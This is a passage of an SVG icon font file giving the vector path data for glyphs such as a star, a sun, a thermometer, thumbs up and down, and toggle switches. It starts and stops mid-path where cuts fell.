q67.2719 7.04272 158.911 34.6249q92.2337 27.7749 152.646 59.0426q60.4122 31.2677 99.0964 71.4986t51.1843 94.3949q12.5001 54.164 5.45123 121.418t-34.645 158.882zM495.867 626.618l152.714 -443.638q4.09692 -11.9254 15.9207 -20.3654
q11.8237 -8.43999 24.4333 -8.43999q17.665 0 30.1671 12.502q12.502 12.502 12.502 30.1671q0 7.12502 -2.31506 13.8637l-152.714 443.639q-4.09705 11.9255 -15.9207 20.3655q-11.8237 8.43988 -24.4333 8.43988q-17.665 0 -30.1671 -12.502t-12.502 -30.1671
q0 -7.12512 2.31506 -13.8646zM294.523 557.512l152.714 -443.638q4.09695 -11.9254 15.9207 -20.3654t24.4333 -8.43998q17.665 0 30.1671 12.502q12.502 12.502 12.502 30.1671q0 7.12522 -2.315 13.8637l-152.714 443.639q-4.09702 11.9255 -15.9207 20.3654
q-11.8237 8.43994 -24.4333 8.43994q-17.665 0 -30.1671 -12.502t-12.502 -30.1671q0 -7.12512 2.31503 -13.8646zM685.309 601.492l-443.638 -152.714q-11.9254 -4.09698 -20.3654 -15.9207q-8.43999 -11.8238 -8.43999 -24.4333q0 -17.665 12.502 -30.1671
t30.1671 -12.502q7.12515 0 13.8637 2.31506l443.639 152.714q11.9255 4.09698 20.3654 15.9207t8.43994 24.4333q0 17.665 -12.502 30.1671t-30.1671 12.502q-7.125 0 -13.8646 -2.31512zM754.414 400.149l-443.639 -152.714q-11.9254 -4.09697 -20.3654 -15.9207
t-8.43997 -24.4333q0 -17.665 12.502 -30.1671t30.1671 -12.502q7.12515 0 13.8637 2.31505l443.639 152.714q11.9255 4.09702 20.3654 15.9207q8.43994 11.8237 8.43994 24.4333q0 17.665 -12.502 30.1671q-12.502 12.502 -30.1671 12.502q-7.12512 0 -13.8637 -2.31503z
" />
    <glyph glyph-name="slash" unicode="&#xe8c9;" 
d="M512 -85.3333q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756q-37.1694 86.9139 -37.1694 182.397q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694
q95.4833 0 182.397 -37.1694t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397q0 -95.4833 -37.1694 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694zM751.701 83.968l-539.733 539.733
q-34.8313 -43.5439 -59.4825 -113.825q-24.6512 -70.281 -24.6512 -126.042q0 -104.256 51.408 -192.72q51.4079 -88.4642 139.872 -139.872q88.4642 -51.4079 192.72 -51.4079q55.761 0 126.042 24.6512q70.281 24.6512 113.825 59.4827zM272.299 684.032l539.733 -539.733
q34.8314 43.5439 59.4825 113.825q24.6511 70.281 24.6511 126.042q0 104.256 -51.408 192.72q-51.408 88.4641 -139.872 139.872q-88.4641 51.408 -192.72 51.4079q-55.761 0 -126.042 -24.6511t-113.825 -59.4828z" />
    <glyph glyph-name="smartphone" unicode="&#xe8ca;" 
d="M256 725.76v-683.52q0 -17.3182 12.6167 -29.7791q12.6167 -12.4609 30.306 -12.4609h426.155l0.342712 -0.00137901q17.4885 0 29.9644 12.3767q12.4759 12.3767 12.6155 29.8647v683.52q0 17.3182 -12.6167 29.7791q-12.6166 12.4609 -30.306 12.4609h-426.155
l-0.342682 0.00140381q-17.4885 0 -29.9644 -12.3766q-12.4759 -12.3767 -12.6155 -29.8648zM170.667 725.76q0.140747 52.8155 37.6196 90.1946q37.4789 37.3792 90.2946 37.3792l0.341797 -0.000488281h426.155l0.129211 6.10352e-05q52.8158 0 90.357 -37.379
q37.5412 -37.3791 37.7698 -90.1943v-683.52q-0.140808 -52.8155 -37.6197 -90.1946q-37.4788 -37.3791 -90.2945 -37.3791l-0.341797 0.000450134h-426.155l-0.129211 -6.86646e-05q-52.8159 0 -90.357 37.379q-37.5412 37.379 -37.7698 90.1944zM512 128zM469.333 128
q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653z" />
    <glyph glyph-name="square" unicode="&#xe8cb;" 
d="M170.667 682.88v-597.76q0 -17.6 12.4267 -30.0267t30.0267 -12.4267h597.76q17.6 0 30.0267 12.4267q12.4266 12.4267 12.4266 30.0267v597.76q0 17.5756 -12.4388 30.0145t-30.0145 12.4388h-597.76q-17.5757 0 -30.0145 -12.4388t-12.4389 -30.0145zM85.3333 682.88
q0 52.9037 37.4415 90.3452t90.3452 37.4415h597.76q52.9037 0 90.3452 -37.4415t37.4415 -90.3452v-597.76v0q0 -52.9037 -37.4415 -90.3452t-90.3452 -37.4415h-597.76q-52.9037 3.8147e-06 -90.3452 37.4415t-37.4415 90.3452z" />
    <glyph glyph-name="speaker" unicode="&#xe8cc;" 
d="M213.333 725.76v-683.52q0 -17.3573 12.476 -29.7986t29.9347 -12.4414h512.512l0.000366211 -1.39062e-09q17.4875 0 29.9137 12.3763q12.4263 12.3763 12.4966 29.8637v683.52q-0.122375 17.4354 -12.5487 29.8116q-12.4263 12.3762 -29.8619 12.4283h-512.512
h-0.000350952q-17.4875 0 -29.9137 -12.3763t-12.4967 -29.8636zM128 725.76q0.0705719 52.8154 37.4995 90.1944q37.429 37.379 90.2445 37.3789h512.512q52.7628 -0.0526123 90.1918 -37.4316t37.5522 -90.1417v-683.52q-0.0705566 -52.8154 -37.4995 -90.1944
q-37.429 -37.379 -90.2445 -37.3789h-512.512q-52.7628 0.0526733 -90.1918 37.4317q-37.429 37.379 -37.5522 90.1417zM512 640zM469.333 640q0 -17.6641 12.5013 -30.1654t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013
t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1652zM512 85.3333q-88.32 0 -150.827 62.5067q-62.5067 62.5067 -62.5067 150.827q0 88.32 62.5067 150.827q62.5067 62.5067 150.827 62.5067q88.3201 0 150.827 -62.5067q62.5067 -62.5067 62.5067 -150.827
t-62.5067 -150.827t-150.827 -62.5067zM512 170.667q52.9919 0 90.496 37.504t37.504 90.496q0 52.992 -37.504 90.496t-90.496 37.504q-52.992 0 -90.496 -37.504t-37.504 -90.496t37.504 -90.496t90.496 -37.504z" />
    <glyph glyph-name="star" unicode="&#xe8cd;" 
d="M418.432 525.056q-4.10452 -8.31909 -13.5056 -15.1573q-9.401 -6.83823 -18.5798 -8.18137l-209.365 -30.5493l151.467 -147.371q16.0474 -15.5714 12.288 -37.7173l-35.7547 -208.085l187.179 98.304q9.31656 4.89342 19.84 4.89342q10.5235 0 19.84 -4.89342
l187.179 -98.304l-35.7546 208.085q-0.61084 3.5675 -0.61084 7.18668q0 17.9902 12.8989 30.5307l151.467 147.371l-209.365 30.5493q-9.17877 1.34308 -18.5798 8.18137q-9.40106 6.83829 -13.5056 15.1573l-93.5681 189.355zM473.728 829.568
q4.85693 9.85602 16.0706 16.8314q11.2137 6.97534 22.2014 6.97534q10.9877 0 22.2014 -6.97534q11.2137 -6.97528 16.0706 -16.8314l121.899 -246.741l272.64 -39.808q15.1143 -2.19135 25.811 -14.551q10.6968 -12.3597 10.6968 -27.632q0 -17.9742 -12.8705 -30.5211
l-197.248 -191.915l46.5067 -271.147q0.600647 -3.54195 0.600647 -7.13411q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013q-10.5 0 -19.8007 4.87277l-243.84 128.085l-243.84 -128.085q-9.30072 -4.87277 -19.8007 -4.87277q-17.664 0 -30.1653 12.5013
t-12.5013 30.1653q0 3.59226 0.600662 7.13411l46.5067 271.147l-197.248 191.915q-12.8761 12.5476 -12.8761 30.5265q0 15.2587 10.6859 27.6167t25.7848 14.5608l272.64 39.808z" />
    <glyph glyph-name="stop-circle" unicode="&#xe8ce;" 
d="M512 -85.3333q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756q-37.1694 86.9139 -37.1694 182.397q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694
q95.4833 0 182.397 -37.1694t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397q0 -95.4833 -37.1694 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694zM512 -2.87646e-06
q104.256 0 192.72 51.408q88.4642 51.408 139.872 139.872q51.408 88.4641 51.408 192.72q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5q0 -104.256 51.4079 -192.72q51.4079 -88.4642 139.872 -139.872t192.72 -51.408zM426.667 469.333v-170.667h170.667
v170.667h-170.667zM384 554.667h256q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-256q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013h-256v0q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v256q0 17.664 12.5013 30.1653t30.1653 12.5013z" />
    <glyph glyph-name="sun" unicode="&#xe8cf;" 
d="M512 128q-106 0 -181 75t-75 181t75 181t181 75t181 -75t75 -181t-75 -181t-181 -75zM512 213.333q70.6561 0 120.661 50.0053q50.0053 50.0053 50.0053 120.661t-50.0053 120.661q-50.0054 50.0053 -120.661 50.0053t-120.661 -50.0053
q-50.0053 -50.0053 -50.0053 -120.661t50.0053 -120.661q50.0053 -50.0053 120.661 -50.0053zM469.333 853.333v-85.3333q0 -17.6641 12.5013 -30.1654t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v85.3333q0 17.664 -12.5013 30.1653t-30.1653 12.5013
t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1652zM469.333 0v-85.3333q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v85.3333q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013
q-12.5013 -12.5013 -12.5013 -30.1653zM149.888 685.781l60.5867 -60.5867q12.4007 -11.977 29.641 -11.977q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.2404 -11.977 29.6411l-60.5867 60.5867q-12.4007 11.9771 -29.641 11.9771q-17.664 0 -30.1653 -12.5013
t-12.5013 -30.1653q0 -17.2403 11.977 -29.6412zM753.195 82.4747l60.5867 -60.5867q12.4008 -11.977 29.6411 -11.977q17.664 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653q0 17.2404 -11.977 29.641l-60.5867 60.5867q-12.4007 11.977 -29.641 11.977
q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.2403 11.9769 -29.641zM42.6667 341.333h85.3333q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-85.3333q-17.664 0 -30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653
t12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013zM896 341.333h85.3333q17.6641 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-85.3333q-17.6639 0 -30.1653 -12.5013t-12.5014 -30.1653t12.5013 -30.1653t30.1654 -12.5013
zM210.219 21.888l60.5867 60.5867q11.977 12.4007 11.977 29.641q0 17.664 -12.5013 30.1653q-12.5013 12.5013 -30.1653 12.5013q-17.2402 0 -29.641 -11.977l-60.5867 -60.5867q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653
q12.5013 -12.5013 30.1653 -12.5013q17.2403 0 29.641 11.977zM813.525 625.195l60.5867 60.5867q13.0256 12.5806 13.0256 30.6896q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-18.1091 0 -30.6896 -13.0256l-60.5867 -60.5867q-13.0256 -12.5806 -13.0256 -30.6896
q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q18.109 0 30.6896 13.0256z" />
    <glyph glyph-name="sunrise" unicode="&#xe8d0;" 
d="M768 128q0 106 -75 181t-181 75t-181 -75t-75 -181q0.00268555 -17.6613 12.504 -30.1607t30.1626 -12.4994t30.1626 12.4994t12.5041 30.1607q0 70.656 50.0053 120.661q50.0053 50.0053 120.661 50.0053q70.6561 0 120.661 -50.0053q50.0053 -50.0053 50.0053 -120.661
q0.00268555 -17.6613 12.504 -30.1607t30.1627 -12.4994q17.6613 0 30.1626 12.4994t12.5048 30.1607zM469.333 810.667v-298.667q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v298.667q0 17.664 -12.5013 30.1653t-30.1653 12.5013
t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653zM149.888 429.781l60.5867 -60.5867q12.5806 -13.0257 30.6897 -13.0257q17.664 0 30.1653 12.5013t12.5013 30.1653q0 18.1091 -13.0257 30.6897l-60.5867 60.5867q-12.5806 13.0256 -30.6896 13.0256
q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -18.1091 13.0256 -30.6896zM42.6667 85.3333h85.3333q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-85.3333q-17.664 0 -30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653
t12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013zM896 85.3333h85.3333q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-85.3333q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013zM813.525 369.195
l60.5867 60.5867q13.0256 12.5806 13.0256 30.6896q0 17.664 -12.5014 30.1653q-12.5013 12.5013 -30.1653 12.5013q-18.1091 0 -30.6896 -13.0256l-60.5867 -60.5867q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013
q17.2403 0 29.6411 11.977zM981.333 0h-938.667q-17.6613 -0.00270382 -30.1607 -12.504q-12.4994 -12.5013 -12.4994 -30.1626q0 -17.6613 12.4994 -30.1626q12.4994 -12.5013 30.1607 -12.504h938.667q17.6613 0.00270081 30.1607 12.504q12.4995 12.5013 12.4995 30.1626
t-12.4995 30.1626q-12.4994 12.5013 -30.1607 12.5041v-0.00010029zM652.501 609.835q12.4007 -11.977 29.641 -11.977q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.2404 -11.977 29.6411l-170.667 170.667q-12.496 12.4922 -30.1653 12.4922
q-17.6693 0 -30.1653 -12.4922l-170.667 -170.667q-11.977 -12.4008 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2403 0 29.641 11.977l140.501 140.501z" />
    <glyph glyph-name="tablet" unicode="&#xe8d1;" 
d="M810.667 42.24v683.52q-0.122375 17.4354 -12.5486 29.8116q-12.4263 12.3762 -29.862 12.4283h-512.512h-0.000350952q-17.4875 0 -29.9137 -12.3763t-12.4966 -29.8636v-683.52q0 -17.3573 12.476 -29.7986t29.9347 -12.4414h512.512l0.000366211 -1.39062e-09
q17.4875 0 29.9137 12.3763q12.4263 12.3763 12.4965 29.8637zM896 42.24q-0.0705566 -52.8154 -37.4995 -90.1944q-37.429 -37.379 -90.2445 -37.3789h-512.512q-52.7628 0.0526733 -90.1918 37.4317q-37.429 37.379 -37.5522 90.1417v683.52
q0.0705566 52.8154 37.4995 90.1944q37.429 37.379 90.2445 37.3789h512.512q52.7628 -0.0526123 90.1918 -37.4316t37.5522 -90.1417zM512 128zM469.333 128q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653
t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653z" />
    <glyph glyph-name="tag" unicode="&#xe8d2;" 
d="M841.813 417.536l-351.147 351.147h-363.349v-363.349l351.147 -350.72q12.4008 -12.4203 29.952 -12.4203q17.5511 0 29.952 12.4203l303.36 303.36q12.3105 12.3715 12.3105 29.8243q0 17.382 -12.2255 29.7377zM901.76 298.283l-303.531 -303.488
q-15.4002 -15.4171 -41.7218 -26.3283q-26.3217 -10.9112 -48.1129 -10.9112q-21.7766 0 -48.0857 10.8987q-26.3091 10.8987 -41.7064 26.2982l-363.52 363.093q-12.416 12.4001 -12.416 29.9478l2.67029e-05 0.0469055v423.253q0 17.454 12.4016 29.847t29.9237 12.393
h423.211q17.4692 0 29.9093 -12.3734l363.648 -363.648q15.2851 -15.3774 26.1027 -41.6052q10.8176 -26.2278 10.8176 -47.9095q0 -21.6817 -10.8176 -47.9095q-10.8176 -26.2278 -26.1025 -41.6046zM298.667 597.333zM256 597.333v-0.00653076
q0 -17.6639 12.5013 -30.1653t30.1653 -12.5014t30.1653 12.5014q12.5013 12.5013 12.5013 30.1653v0.00653076v0.00653076q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653v-0.00653076z" />
    <glyph glyph-name="sunset" unicode="&#xe8d3;" 
d="M768 128q0 106 -75 181t-181 75t-181 -75t-75 -181q0.00268555 -17.6613 12.504 -30.1607t30.1626 -12.4994t30.1626 12.4994t12.5041 30.1607q0 70.656 50.0053 120.661q50.0053 50.0053 120.661 50.0053q70.6561 0 120.661 -50.0053q50.0053 -50.0053 50.0053 -120.661
q0.00268555 -17.6613 12.504 -30.1607t30.1627 -12.4994q17.6613 0 30.1626 12.4994t12.5048 30.1607zM554.667 512v298.667q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653v-298.667q0 -17.664 12.5013 -30.1653t30.1653 -12.5013
t30.1653 12.5013t12.5013 30.1653zM149.888 429.781l60.5867 -60.5867q12.5806 -13.0257 30.6897 -13.0257q17.664 0 30.1653 12.5013t12.5013 30.1653q0 18.1091 -13.0257 30.6897l-60.5867 60.5867q-12.5806 13.0256 -30.6896 13.0256q-17.664 0 -30.1653 -12.5013
t-12.5013 -30.1653q0 -18.1091 13.0256 -30.6896zM42.6667 85.3333h85.3333q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-85.3333q-17.664 0 -30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653t12.5013 -30.1653
q12.5013 -12.5013 30.1653 -12.5013zM896 85.3333h85.3333q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-85.3333q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013zM813.525 369.195l60.5867 60.5867
q13.0256 12.5806 13.0256 30.6896q0 17.664 -12.5014 30.1653q-12.5013 12.5013 -30.1653 12.5013q-18.1091 0 -30.6896 -13.0256l-60.5867 -60.5867q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2403 0 29.6411 11.977zM981.333 0
h-938.667q-17.6613 -0.00270382 -30.1607 -12.504q-12.4994 -12.5013 -12.4994 -30.1626q0 -17.6613 12.4994 -30.1626q12.4994 -12.5013 30.1607 -12.504h938.667q17.6613 0.00270081 30.1607 12.504q12.4995 12.5013 12.4995 30.1626t-12.4995 30.1626
q-12.4994 12.5013 -30.1607 12.5041v-0.00010029zM371.499 712.832q-12.4007 11.9771 -29.641 11.9771q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.2403 11.9771 -29.6411l170.667 -170.667q12.4961 -12.4922 30.1653 -12.4922q17.6693 0 30.1653 12.4922
l170.667 170.667q13.0256 12.5806 13.0256 30.6896q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-18.109 0 -30.6896 -13.0256l-140.501 -140.501z" />
    <glyph glyph-name="target" unicode="&#xe8d4;" 
d="M512 -85.3333q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756q-37.1694 86.9139 -37.1694 182.397q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694
q95.4833 0 182.397 -37.1694t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397q0 -95.4833 -37.1694 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694zM512 -2.87646e-06
q104.256 0 192.72 51.408q88.4642 51.408 139.872 139.872q51.408 88.4641 51.408 192.72q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5q0 -104.256 51.4079 -192.72q51.4079 -88.4642 139.872 -139.872t192.72 -51.408zM512 85.3333
q-123.648 0 -211.157 87.5093q-87.5093 87.5093 -87.5093 211.157q0 123.648 87.5093 211.157q87.5093 87.5093 211.157 87.5093q123.648 0 211.157 -87.5093t87.5093 -211.157q0 -123.648 -87.5093 -211.157t-211.157 -87.5093zM512 170.667q88.32 0 150.827 62.5067
q62.5067 62.5067 62.5067 150.827t-62.5067 150.827t-150.827 62.5067t-150.827 -62.5067q-62.5067 -62.5067 -62.5067 -150.827t62.5067 -150.827q62.5067 -62.5067 150.827 -62.5067zM512 256q-53 0 -90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5
t-37.5 -90.5t-90.5 -37.5zM512 341.333q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653t12.5013 -30.1654q12.5013 -12.5013 30.1653 -12.5012z" />
    <glyph glyph-name="thermometer" unicode="&#xe8d5;" 
d="M715.216 38.5064q-20.9231 -68.9332 -86.7148 -117.719q-65.7917 -48.7858 -137.83 -48.7861q-97.1496 0 -165.905 68.7556t-68.7556 165.905q0 45.7955 25.0009 98.8319t60.3264 82.1798v458.997q0 61.8224 43.7536 105.576t105.576 43.7536t105.576 -43.7536
t43.7536 -105.576v-459.039q35.3282 -29.1434 60.3309 -82.1814q25.0027 -53.0379 25.0027 -98.8355q0 -34.8257 -10.1141 -68.1504zM554.666 266.255v480.415q0 26.4954 -18.7515 45.2469t-45.2469 18.7515t-45.2469 -18.7515q-18.7516 -18.7515 -18.7516 -45.2469
v-480.415q-0.0017395 -9.43347 -5.55215 -19.8218t-13.3914 -15.6333q-27.4845 -18.3578 -46.9361 -54.7417t-19.4516 -69.4355q0 -61.8225 43.7536 -105.576t105.576 -43.7536q61.8225 0 105.576 43.7536q43.7535 43.7536 43.7536 105.576q0 33.0516 -19.4515 69.4355
q-19.4516 36.3839 -46.9362 54.7417q-7.84088 5.24501 -13.3914 15.6334t-5.55194 19.8217z" />
    <glyph glyph-name="thumbs-up" unicode="&#xe8d6;" 
d="M850.005 554.667q0.814636 0.0102539 1.63867 0.0102539q24.3452 0 53.0056 -12.8918q28.6603 -12.8918 44.8118 -31.1077q39.4445 -44.762 30.3787 -103.253l-59.7333 -383.957q-7.25677 -47.3129 -44.191 -78.3287q-36.9341 -31.0158 -85.1744 -30.4713h-488.32
q-17.9221 0 -30.6144 12.5023q-12.6923 12.5023 -12.6923 30.1643v469.333q0 9.0365 3.75467 17.3227l173.141 384q11.4435 25.344 39.552 25.344q71.7484 0 122.466 -49.9755q50.7178 -49.9755 50.7178 -120.691v-128zM791.211 2.00117e-05
q0.371338 -0.00640364 0.742859 -0.00640364q15.2397 0 27.7108 10.653t14.853 25.7054l59.7333 383.915q0.488342 3.18338 0.488342 6.40451q0 16 -10.6003 27.9848q-13.0828 14.6868 -32.7516 14.6868q-0.457092 0 -0.912415 -0.00949097h-245.035
q-17.918 0 -30.591 12.5004q-12.673 12.5003 -12.673 30.1663v170.667q0 28.2363 -16.8722 50.6148q-16.8723 22.3786 -43.4158 30.7079l-156.16 -346.368v-417.621h445.483zM259.157 384h-86.6133q-17.9221 0 -30.6144 -12.5023q-12.6923 -12.5023 -12.6923 -30.1643
v-298.667q0 -17.662 12.6923 -30.1643q12.6923 -12.5023 30.6144 -12.5023h86.6133v384zM302.421 -85.3333h-129.877q-53.7942 -2.28882e-05 -91.8358 37.4891q-38.0416 37.4891 -38.0416 90.5109v298.667q0 53.0218 38.0416 90.5109q38.0416 37.4891 91.8358 37.4891
h129.877q17.918 0 30.591 -12.5003t12.673 -30.1663v-469.333q0 -17.666 -12.673 -30.1663t-30.591 -12.5011z" />
    <glyph glyph-name="thumbs-down" unicode="&#xe8d7;" 
d="M173.483 213.333q-0.797348 -0.00978088 -1.59502 -0.00978088q-24.2059 0 -52.7041 12.8167t-44.5595 30.9264q-13.2268 14.9358 -22.5877 39.626t-9.36097 44.6408q0 9.74219 1.4847 19.3705l59.8187 383.915q7.11898 45.0119 44.4095 76.8682
q37.2905 31.8562 82.8619 31.8562l1.58194 -0.00970459h489.088q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-469.333l6.10352e-05 -0.0770569q0 -9.15347 -3.7547 -17.5016l-173.44 -384q-4.69531 -10.3843 -16.084 -17.7351t-22.7853 -7.3529
q-71.5084 0 -122.133 49.9512q-50.6245 49.9512 -50.6245 120.715v128h-202.24zM232.363 768q-0.509644 0.0120239 -1.02438 0.0120239q-15.2996 0 -27.9133 -10.6796q-12.6137 -10.6797 -15.137 -25.7697l-59.8187 -383.957q-0.474289 -3.1188 -0.474289 -6.27356
q0 -15.9047 10.5863 -27.7744q13.3761 -15.1326 34.432 -14.9333h245.376v0q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-170.667q0 -28.3706 17.2418 -50.8547q17.2418 -22.4841 44.3263 -30.6386l156.587 346.709v417.493zM764.544 384h73.8134
q0.824402 -0.0237427 1.64661 -0.0237427q19.4051 0 35.812 13.4709t20.1841 32.5049v291.968q-3.70215 20.2166 -20.1331 33.3019q-16.431 13.0853 -38.1922 12.7354h-73.088v-384zM721.877 853.333h115.029q54.2548 0.896851 95.4825 -34.0545t48.5175 -88.1855
l0.426636 -5.76001v-298.667l-0.426636 -5.84534q-7.16968 -50.5812 -48.3995 -86.3791q-41.2299 -35.7979 -92.3167 -35.7979q-1.25671 0 -2.51587 0.0222473h-115.755q-17.664 0 -30.1653 12.5013t-12.5013 30.1653v469.333q0 17.664 12.5013 30.1653t30.1653 12.5013z
" />
    <glyph glyph-name="toggle-left" unicode="&#xe8d8;" 
d="M85.3333 384q0 -105.895 74.9315 -180.948q74.9315 -75.0524 180.684 -75.0524h342.101q105.825 0.0705719 180.721 75.0161q74.8955 74.9455 74.8955 180.771l-6.10352e-05 0.213379q0 105.895 -74.9315 180.948q-74.9315 75.0524 -180.685 75.0524h-342.144
q-105.807 -0.0882568 -180.69 -75.0337q-74.883 -74.9455 -74.883 -180.753zM2.87646e-06 384q0 92.72 45.6181 171.347q45.6181 78.6271 124.159 124.307q78.5411 45.6795 171.172 45.6795h342.101q92.5566 0 171.111 -45.7243q78.5541 -45.7244 124.196 -124.359
q45.6423 -78.6349 45.6423 -171.25q0 -92.7199 -45.6182 -171.347q-45.6181 -78.6272 -124.159 -124.307q-78.5411 -45.6795 -171.172 -45.6795h-342.144q-92.5365 0 -171.081 45.724q-78.5443 45.724 -124.185 124.36q-45.6408 78.6361 -45.6408 171.249zM341.333 213.333
q-70.656 0 -120.661 50.0053q-50.0053 50.0053 -50.0053 120.661q0 70.656 50.0053 120.661q50.0053 50.0053 120.661 50.0053q70.656 0 120.661 -50.0053t50.0053 -120.661t-50.0053 -120.661q-50.0053 -50.0053 -120.661 -50.0053zM341.333 298.667
q35.328 0 60.3307 25.0027t25.0027 60.3307t-25.0027 60.3306q-25.0027 25.0027 -60.3307 25.0027t-60.3307 -25.0027t-25.0027 -60.3307t25.0027 -60.3307q25.0027 -25.0027 60.3307 -25.0026z" />
    <glyph glyph-name="toggle-right" unicode="&#xe8d9;" 
d="M85.3333 384q0 -105.895 74.9315 -180.948q74.9315 -75.0524 180.684 -75.0524h342.101q105.825 0.0705719 180.721 75.0161q74.8955 74.9455 74.8955 180.771l-6.10352e-05 0.213379q0 105.895 -74.9315 180.948q-74.9315 75.0524 -180.685 75.0524h-342.144
q-105.807 -0.0882568 -180.69 -75.0337q-74.883 -74.9455 -74.883 -180.753zM2.87646e-06 384q0 92.72 45.6181 171.347q45.6181 78.6271 124.159 124.307q78.5411 45.6795 171.172 45.6795h342.101q92.5566 0 171.111 -45.7243q78.5541 -45.7244 124.196 -124.359
q45.6423 -78.6349 45.6423 -171.25q0 -92.7199 -45.6182 -171.347q-45.6181 -78.6272 -124.159 -124.307q-78.5411 -45.6795 -171.172 -45.6795h-342.144q-92.5365 0 -171.081 45.724q-78.5443 45.724 -124.185 124.36q-45.6408 78.6361 -45.6408 171.249zM682.667 213.333
q-70.656 0 -120.661 50.0054q-50.0054 50.0053 -50.0054 120.661t50.0054 120.661q50.0054 50.0054 120.661 50.0054q70.656 0 120.661 -50.0053q50.0054 -50.0053 50.0054 -120.661t-50.0054 -120.661q-50.0053 -50.0054 -120.661 -50.0054zM682.667 298.667
q35.3279 0 60.3306 25.0027q25.0027 25.0027 25.0027 60.3307t-25.0027 60.3306q-25.0027 25.0027 -60.3306 25.0027t-60.3306 -25.0027t-25.0027 -60.3307t25.0027 -60.3307t60.3306 -25.0026z" />
    <glyph glyph-name="trash-" unicode="&#xe8da;" 
d="M128 597.333h768q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.6639 -12.5014 30.1653q-12.5013 12.5013 -30.1653 12.5013h-768q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1654 -12.5013zM768 640v-597.333q0 -17.664 -12.5013 -30.1653
